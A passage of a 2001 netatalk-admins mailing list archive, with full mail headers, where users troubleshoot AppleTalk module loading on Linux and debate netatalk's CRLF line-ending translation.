<BR><FONT SIZE=3D2>&gt; &gt; On Mon, Feb 05, 2001 at 01:43:32PM -0500, =
Frank Morton wrote:</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;&gt; Good! Does it include utilities to =
make fpo images?</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; What are fpo images?</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; VB.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; -- </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; *** ebios Informationssysteme, =
Germany&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp; vb@kangu:~ $ cd =
/pub/</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; *** Gut-Betha-Platz 1, 88339 Bad =
Waldsee&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp; vb@kangu:/pub $ more =
beer</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; *** Phone +49-7524-93421 Fax =
+49-7524-93423 ***&nbsp;&nbsp; Aaahhhh! That was good!</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; *** <A =
HREF=3D"mailto:vb@ebios.de">mailto:vb@ebios.de</A>&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp; vb@kangu:/pub $ =
_</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; </FONT>
<BR><FONT SIZE=3D2>--</FONT>
<BR><FONT =
SIZE=3D2>=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D</FONT>
<BR><FONT SIZE=3D2>&nbsp;Alex Alegado, alex@alegado.com, 626.524.0624 =
Cel w/VMail </FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp; Prepress Supervisor, California =
Plasticard </FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp; 213.742.9852 Voice, =
213.742.0086 FAX, <A HREF=3D"http://www.cpicardgroup.com" =
TARGET=3D"_blank">http://www.cpicardgroup.com</A></FONT>
<BR><FONT =
SIZE=3D2>---------------------------------------------------------------=
-----------</FONT>
<BR><FONT SIZE=3D2>&nbsp;the.ThoughtShop.net -- Low-cost web-hosting =
and design...</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp; Apache-based Miva, CGI, PHP, MySQL =
support</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp; info@thoughtshop.net, <A =
HREF=3D"http://the.ThoughtShop.net" =
TARGET=3D"_blank">http://the.ThoughtShop.net</A></FONT>
<BR><FONT =
SIZE=3D2>=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C09275.DF2B7510--

From netatalk.administrators-errors@umich.edu  Fri Feb  9 07:03:22 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA07222
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 9 Feb 2001 07:03:21 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA02104
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 9 Feb 2001 07:03:21 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA02075
	for netatalk.administrators-members@umich.edu; Fri, 9 Feb 2001 07:03:21 -0500 (EST)
Received: from linear.dsi.uniroma1.it ([151.100.17.89])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id HAA02016
	for <netatalk-admins@umich.edu>; Fri, 9 Feb 2001 07:03:19 -0500 (EST)
Received: from linear.dsi.uniroma1.it (localhost.localdomain [127.0.0.1])
	by linear.dsi.uniroma1.it (Postfix) with SMTP
	id 0390566623; Fri,  9 Feb 2001 13:02:22 +0100 (CET)
From: Stefano Guerrini <guerrini@dsi.uniroma1.it>
To: netatalk-admins@umich.edu
Date: Fri, 9 Feb 2001 13:02:22 +0100
X-Mailer: KMail [version 1.1.99]
Content-Type: text/plain;
  charset="iso-8859-1"
Organization: DSI Roma La Sapienza
MIME-Version: 1.0
Message-Id: <01020913020500.01513@linear.dsi.uniroma1.it>
Content-Transfer-Encoding: 8bit
Subject: Problem in configuring netatalk

Hello,

I have dowloaded the netatalk rpm (t1.5pre3 for Mandrake, I am running 
Mandrake 7.2).

But, I have the following problem when I try to start the daemon

	Starting AppleTalk services: socket: Invalid argument
	socket: Invalid argument
	atalkd: can't get interfaces, exiting.
 
I just tried adding

	eth0
 
to atalk.conf. But it does not work.

I would be very happy if you can give me some help.

Best wishes

-- 
Stefano Guerrini      -      Dipartimento di Scienze dell'Informazione
                             Via Salaria, 113  -  00198 Roma  -  Italy
phone:   +39 06.4991.8434                       fax:   +39 06.854.1842
mailto:guerrini@dsi.uniroma1.it   http://www.dsi.uniroma1.it/~guerrini

From netatalk.administrators-errors@umich.edu  Fri Feb  9 07:48:35 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA07936
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 9 Feb 2001 07:48:35 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA18957
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 9 Feb 2001 07:48:35 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA18948
	for netatalk.administrators-members@umich.edu; Fri, 9 Feb 2001 07:48:34 -0500 (EST)
Received: from phynp6.phy-astr.gsu.edu (phynp6.Phy-Astr.Gsu.EDU [131.96.4.60])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id HAA18924
	for <netatalk-admins@umich.edu>; Fri, 9 Feb 2001 07:48:33 -0500 (EST)
From: stephen@phynp6.phy-astr.gsu.edu
Received: (qmail 31204 invoked by uid 508); 9 Feb 2001 12:56:49 -0000
Date: Fri, 9 Feb 2001 07:56:49 -0500
To: Stefano Guerrini <guerrini@dsi.uniroma1.it>, netatalk-admins@umich.edu
Subject: Re: Problem in configuring netatalk
Message-ID: <20010209075649.A31196@phynp6.phy-astr.gsu.edu>
References: <01020913020500.01513@linear.dsi.uniroma1.it>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 1.0.1i
In-Reply-To: <01020913020500.01513@linear.dsi.uniroma1.it>; from guerrini@dsi.uniroma1.it on Fri, Feb 09, 2001 at 01:02:22PM +0100

On Fri, Feb 09, 2001 at 01:02:22PM +0100, Stefano Guerrini wrote:
> Hello,
> 
> I have dowloaded the netatalk rpm (t1.5pre3 for Mandrake, I am running 
> Mandrake 7.2).
> 
> But, I have the following problem when I try to start the daemon
> 
> 	Starting AppleTalk services: socket: Invalid argument
> 	socket: Invalid argument
> 	atalkd: can't get interfaces, exiting.

You either don't have appletalk compiled into your kernel
or the appletalk module is not loaded.  Try 

  dmesg | grep -i appletalk

to see if it's compiled into your kernel.  Then try

  modprobe appletalk

to load the module.  Also make sure you have

  alias net-pf-5 appletalk

in /etc/conf.modules 

Stephen

>  
> I just tried adding
> 
> 	eth0
>  
> to atalk.conf. But it does not work.
> 
> I would be very happy if you can give me some help.
> 
> Best wishes
> 
> -- 
> Stefano Guerrini      -      Dipartimento di Scienze dell'Informazione
>                              Via Salaria, 113  -  00198 Roma  -  Italy
> phone:   +39 06.4991.8434                       fax:   +39 06.854.1842
> mailto:guerrini@dsi.uniroma1.it   http://www.dsi.uniroma1.it/~guerrini
> 

From netatalk.administrators-errors@umich.edu  Fri Feb  9 09:24:42 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA09958
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 9 Feb 2001 09:24:42 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA11067
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 9 Feb 2001 09:24:36 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA11060
	for netatalk.administrators-members@umich.edu; Fri, 9 Feb 2001 09:24:35 -0500 (EST)
Received: from cage.whatazoo.com (whatazoo.com [208.23.179.242])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA11047
	for <netatalk-admins@umich.edu>; Fri, 9 Feb 2001 09:24:34 -0500 (EST)
Received: from localhost (murley@localhost)
	by cage.whatazoo.com (8.9.3/8.9.3) with ESMTP id IAA28383;
	Fri, 9 Feb 2001 08:25:48 -0600
Date: Fri, 9 Feb 2001 08:25:48 -0600 (CST)
From: Chris Murley <murley@appindex.net>
X-Sender: murley@cage.whatazoo.com
To: Stefano Guerrini <guerrini@dsi.uniroma1.it>
cc: netatalk-admins@umich.edu
Subject: Re: Problem in configuring netatalk
In-Reply-To: <01020913020500.01513@linear.dsi.uniroma1.it>
Message-ID: <Pine.LNX.4.10.10102090825330.28287-100000@cage.whatazoo.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Ahh see i just had this problem yesterday , you have to modprobe iddp


-Chris

-----------------------
Christopher Murley
Application Index
http://www.appindex.net
http://www.appindex.org
-----------------------

On Fri, 9 Feb 2001, Stefano Guerrini wrote:

> Hello,
> 
> I have dowloaded the netatalk rpm (t1.5pre3 for Mandrake, I am running 
> Mandrake 7.2).
> 
> But, I have the following problem when I try to start the daemon
> 
> 	Starting AppleTalk services: socket: Invalid argument
> 	socket: Invalid argument
> 	atalkd: can't get interfaces, exiting.
>  
> I just tried adding
> 
> 	eth0
>  
> to atalk.conf. But it does not work.
> 
> I would be very happy if you can give me some help.
> 
> Best wishes
> 
> -- 
> Stefano Guerrini      -      Dipartimento di Scienze dell'Informazione
>                              Via Salaria, 113  -  00198 Roma  -  Italy
> phone:   +39 06.4991.8434                       fax:   +39 06.854.1842
> mailto:guerrini@dsi.uniroma1.it   http://www.dsi.uniroma1.it/~guerrini
> 


From netatalk.administrators-errors@umich.edu  Fri Feb  9 09:25:04 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA09976
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 9 Feb 2001 09:25:03 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA11402
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 9 Feb 2001 09:24:57 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA11397
	for netatalk.administrators-members@umich.edu; Fri, 9 Feb 2001 09:24:57 -0500 (EST)
Received: from cage.whatazoo.com (whatazoo.com [208.23.179.242])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA11382
	for <netatalk-admins@umich.edu>; Fri, 9 Feb 2001 09:24:55 -0500 (EST)
Received: from localhost (murley@localhost)
	by cage.whatazoo.com (8.9.3/8.9.3) with ESMTP id IAA28403
	for <netatalk-admins@umich.edu>; Fri, 9 Feb 2001 08:26:42 -0600
Date: Fri, 9 Feb 2001 08:26:42 -0600 (CST)
From: Chris Murley <murley@appindex.net>
X-Sender: murley@cage.whatazoo.com
To: Netatalk Admins List <netatalk-admins@umich.edu>
Subject: Re: Help
In-Reply-To: <Pine.LNX.4.10.10102081112110.23880-100000@cage.whatazoo.com>
Message-ID: <Pine.LNX.4.10.10102090826190.28287-100000@cage.whatazoo.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

> I have it working, thanks to jeff, i hade to run:
> 
> modprobe ipddp so i added that to my init scripts... now i get a wierd
> erroer int he messages file:
> 
> Feb  8 11:06:50 rhfsrv1 afpd[24871]: refused connect from 209.247.231.69
> Feb  8 11:06:50 rhfsrv1 afpd[24871]: dsi_getsess: No such file ordirectory
> 
> Why would the connection be refused?
> 
> and what is dsi_getsess?
> 
> 
Does anyone konw why this would happen?



> 
> -Chris
> 
> -----------------------
> Christopher Murley
> Application Index
> http://www.appindex.net
> http://www.appindex.org
> -----------------------
> 
> On Thu, 8 Feb 2001, Crystal wrote:
> 
> > on 2/8/01 10:41 AM, Chris Murley at murley@appindex.net wrote:
> > 
> > > But i have done a modprobe appletalk, and is does load....
> > > 
> > > This exact setup was working 2 days ago.
> > > 
> > > 
> > > -Chris
> > 
> > Type ifconfig and see what information comes up on the interface(s). Does it
> > already have an EtherTalk address assigned to it?
> > 
> > C.
> > 
> 
> 
> 


From netatalk.administrators-errors@umich.edu  Fri Feb  9 10:49:05 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA11742
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 9 Feb 2001 10:49:05 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA00986
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 9 Feb 2001 10:49:05 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA00970
	for netatalk.administrators-members@umich.edu; Fri, 9 Feb 2001 10:49:04 -0500 (EST)
Received: from linear.dsi.uniroma1.it ([151.100.17.89])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA00914
	for <netatalk-admins@umich.edu>; Fri, 9 Feb 2001 10:49:01 -0500 (EST)
Received: from linear.dsi.uniroma1.it (localhost.localdomain [127.0.0.1])
	by linear.dsi.uniroma1.it (Postfix) with SMTP
	id 09E9C66622; Fri,  9 Feb 2001 16:48:38 +0100 (CET)
From: Stefano Guerrini <guerrini@dsi.uniroma1.it>
Organization: DSI Roma La Sapienza
To: stephen@phynp6.phy-astr.gsu.edu, netatalk-admins@umich.edu
Subject: Re: Problem in configuring netatalk
Date: Fri, 9 Feb 2001 16:48:37 +0100
X-Mailer: KMail [version 1.1.99]
Content-Type: text/plain;
  charset="us-ascii"
References: <01020913020500.01513@linear.dsi.uniroma1.it> <20010209075649.A31196@phynp6.phy-astr.gsu.edu>
In-Reply-To: <20010209075649.A31196@phynp6.phy-astr.gsu.edu>
MIME-Version: 1.0
Message-Id: <01020916483701.01928@linear.dsi.uniroma1.it>
Content-Transfer-Encoding: 8bit

Great. It worked. 
Adding 
   alias net-pf-5 appletalk
the appletalk module is loaded and everything works fine.
Thank you everybody.
Cheers
--s

On Friday 09 February 2001 13:56, stephen@phynp6.phy-astr.gsu.edu wrote:
> On Fri, Feb 09, 2001 at 01:02:22PM +0100, Stefano Guerrini wrote:
> > Hello,
> >
> > I have dowloaded the netatalk rpm (t1.5pre3 for Mandrake, I am running
> > Mandrake 7.2).
> >
> > But, I have the following problem when I try to start the daemon
> >
> > 	Starting AppleTalk services: socket: Invalid argument
> > 	socket: Invalid argument
> > 	atalkd: can't get interfaces, exiting.
>
> You either don't have appletalk compiled into your kernel
> or the appletalk module is not loaded.  Try
>
>   dmesg | grep -i appletalk
>
> to see if it's compiled into your kernel.  Then try
>
>   modprobe appletalk
>
> to load the module.  Also make sure you have
>
>   alias net-pf-5 appletalk
>
> in /etc/conf.modules
>
> Stephen
>
> > I just tried adding
> >
> > 	eth0
> >
> > to atalk.conf. But it does not work.
> >
> > I would be very happy if you can give me some help.
> >
> > Best wishes
> >

-- 
Stefano Guerrini      -      Dipartimento di Scienze dell'Informazione
                             Via Salaria, 113  -  00198 Roma  -  Italy
phone:   +39 06.4991.8434                       fax:   +39 06.854.1842
mailto:guerrini@dsi.uniroma1.it   http://www.dsi.uniroma1.it/~guerrini

From netatalk.administrators-errors@umich.edu  Fri Feb  9 13:48:45 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA15795
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 9 Feb 2001 13:48:45 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA13853
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 9 Feb 2001 13:48:38 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA13842
	for netatalk.administrators-members@umich.edu; Fri, 9 Feb 2001 13:48:37 -0500 (EST)
Received: from clever.visp-europe.psi.com (clever.visp-europe.psi.com [212.222.105.4])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA13826
	for <netatalk-admins@umich.edu>; Fri, 9 Feb 2001 13:48:36 -0500 (EST)
Received: from n247-6.berlin.snafu.de ([195.21.247.6] helo=athlet.deltaman.de)
	by clever.visp-europe.psi.com with esmtp (Exim 3.22 #1)
	id 14RIb3-0004l7-00
	for netatalk-admins@umich.edu; Fri, 09 Feb 2001 19:48:41 +0100
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id KAA16469
	for <netatalk-admins@umich.edu>; Fri, 9 Feb 2001 10:49:34 +0100
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: RE: OPI Server ready
Date: Fri, 9 Feb 2001 10:35:13 +0100
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <9F9FCF268C46D411B60600508B6F8726A2764A@meloe.edipresse.ch>
In-Reply-To: <9F9FCF268C46D411B60600508B6F8726A2764A@meloe.edipresse.ch>
MIME-Version: 1.0
Message-Id: <01020910493400.16167@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id NAA15795

On Fri, 09 Feb 2001, Michalowski Thierry wrote:
> 
> Hi,
> 
[snip]

PLEASE, PLEASE,

NO MORE HTML!!!

	Carsten

From netatalk.administrators-errors@umich.edu  Fri Feb  9 14:27:34 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA17137
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 9 Feb 2001 14:27:34 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA02684
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 9 Feb 2001 14:27:28 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA02659
	for netatalk.administrators-members@umich.edu; Fri, 9 Feb 2001 14:27:26 -0500 (EST)
Received: from clever.visp-europe.psi.com (clever.visp-europe.psi.com [212.222.105.4])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA02627
	for <netatalk-admins@umich.edu>; Fri, 9 Feb 2001 14:27:25 -0500 (EST)
Received: from n246-59.berlin.snafu.de ([195.21.246.59] helo=athlet.deltaman.de)
	by clever.visp-europe.psi.com with esmtp (Exim 3.22 #1)
	id 14RJCc-0000Xz-00
	for netatalk-admins@umich.edu; Fri, 09 Feb 2001 20:27:30 +0100
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id UAA17772
	for <netatalk-admins@umich.edu>; Fri, 9 Feb 2001 20:26:52 +0100
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: Re: Problem in configuring netatalk
Date: Fri, 9 Feb 2001 20:12:13 +0100
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <01020913020500.01513@linear.dsi.uniroma1.it> <20010209075649.A31196@phynp6.phy-astr.gsu.edu>
In-Reply-To: <20010209075649.A31196@phynp6.phy-astr.gsu.edu>
MIME-Version: 1.0
Message-Id: <01020920225200.17499@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id OAA17137

On Fri, 09 Feb 2001, stephen@phynp6.phy-astr.gsu.edu wrote:
[snip]
> to load the module.  Also make sure you have
> 
>   alias net-pf-5 appletalk
> 
> in /etc/conf.modules 
> 
> Stephen

You have to look if conf.modules isn't a symlink to modules.conf.
The symlink is due to historical reasons.
some editors might remove it and replace it by a regular file if you edit the symlink,
so the module loader will just see the old modules.conf file.
I once had such an encounter.

Regards

	Carsten

From netatalk.administrators-errors@umich.edu  Fri Feb  9 16:34:10 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA22116
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 9 Feb 2001 16:34:09 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA07861
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 9 Feb 2001 16:34:03 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA07852
	for netatalk.administrators-members@umich.edu; Fri, 9 Feb 2001 16:34:02 -0500 (EST)
Received: from ns1.ihonk.com ([216.237.145.12])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA07826
	for <netatalk-admins@umich.edu>; Fri, 9 Feb 2001 16:34:00 -0500 (EST)
Received: from [192.168.0.2] (2lane.com [216.102.224.138])
	by ns1.ihonk.com (Postfix) with ESMTP
	id BB74B5F83C; Fri,  9 Feb 2001 13:34:05 -0800 (PST)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Fri, 09 Feb 2001 13:34:14 -0800
Subject: Re: CRLF fun stuff again...
From: Steve Freitas <sflist@ihonk.com>
To: Matthew Geier <matthew@arts.usyd.edu.au>,
        Duncan Sinclair <sinclair@dis.strath.ac.uk>,
        <netatalk-admins@umich.edu>, jeff <jeff@univrel.pr.uconn.edu>
Message-ID: <B6A9A255.130C%sflist@ihonk.com>
In-Reply-To: <3A7DEECE.60069353@arts.usyd.edu.au>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

> It is worth noting that the Samba team have point blank refused to add
> any form of 'translation' to Samba. It serves files exactly 'as is'.
> They argue that EOL conventions are an Application problem and its not
> the file servers job to try and guess what the user is up to and mess
> around with the contents of the files.

I think that is absolutely the right thing to do. I've had this CR/LF thing
munge up whole ISOs for me, even when it's turned off. Sure, the option
should be left in, but I don't want my fileserver to, by default, play
guessing games with my linefeeds, which is what it seems to be doing, as
least as far as my inexperienced eyes can tell (referencing my much earlier
thread on this topic).

When you've got to remember to add a line to AppleVolumes.system just to
keep a file with a new suffix from being corrupted, that's just bad.

Jeff, what do you think? :-)

Steve


From netatalk.administrators-errors@umich.edu  Fri Feb  9 16:45:49 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA22316
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 9 Feb 2001 16:45:49 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA21936
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 9 Feb 2001 16:45:43 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA21922
	for netatalk.administrators-members@umich.edu; Fri, 9 Feb 2001 16:45:42 -0500 (EST)
Received: from univrel.pr.uconn.edu (univrel.pr.uconn.edu [137.99.59.30])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA21890
	for <netatalk-admins@umich.edu>; Fri, 9 Feb 2001 16:45:41 -0500 (EST)
Received: from univrel.pr.uconn.edu (root@test.pr.uconn.edu [137.99.59.90])
	by univrel.pr.uconn.edu (8.8.7/8.8.7) with ESMTP id QAA00705;
	Fri, 9 Feb 2001 16:44:38 -0500
Sender: root@univrel.pr.uconn.edu
Message-ID: <3A84645B.54969AAD@univrel.pr.uconn.edu>
Date: Fri, 09 Feb 2001 16:42:51 -0500
From: jeff <jeff@univrel.pr.uconn.edu>
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.4.0-0.14mdk i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Steve Freitas <sflist@ihonk.com>
CC: Matthew Geier <matthew@arts.usyd.edu.au>,
        Duncan Sinclair <sinclair@dis.strath.ac.uk>, netatalk-admins@umich.edu
Subject: Re: CRLF fun stuff again...
References: <B6A9A255.130C%sflist@ihonk.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Steve Freitas wrote:
> > It is worth noting that the Samba team have point blank refused to add
> > any form of 'translation' to Samba. It serves files exactly 'as is'.
> > They argue that EOL conventions are an Application problem and its not
> > the file servers job to try and guess what the user is up to and mess
> > around with the contents of the files.
> 
> I think that is absolutely the right thing to do. I've had this CR/LF thing
> munge up whole ISOs for me, even when it's turned off. Sure, the option
> should be left in, but I don't want my fileserver to, by default, play
> guessing games with my linefeeds, which is what it seems to be doing, as
> least as far as my inexperienced eyes can tell (referencing my much earlier
> thread on this topic).
> 
> When you've got to remember to add a line to AppleVolumes.system just to
> keep a file with a new suffix from being corrupted, that's just bad.
> 
> Jeff, what do you think? :-)

Munging files is bad. If we want to move CRLF translation to a
compile-time option, that's a fine solution; those who want to compile
it in, can.

If an Apple (tm) AppleShareIP server doesn't do the translation, we
probably shouldn't do it by default, either. Reliability, then neat
features.

jeff

(We might want to nudge the Samba people gently about the
--with-netatalk support in Samba, and de-stub-ing it sometime.)

From netatalk.administrators-errors@umich.edu  Fri Feb  9 18:39:14 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA25491
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 9 Feb 2001 18:39:14 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA00324
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 9 Feb 2001 18:39:14 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA00310
	for netatalk.administrators-members@umich.edu; Fri, 9 Feb 2001 18:39:14 -0500 (EST)
Received: from quartz.dis.strath.ac.uk (quartz.dis.strath.ac.uk [130.159.120.5])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA00262
	for <netatalk-admins@umich.edu>; Fri, 9 Feb 2001 18:39:11 -0500 (EST)
Received: from dis.strath.ac.uk (localhost [127.0.0.1])
	by quartz.dis.strath.ac.uk (8.11.0/8.11.0/2.7) with ESMTP id f19Nc3Z22334;
	Fri, 9 Feb 2001 23:38:03 GMT
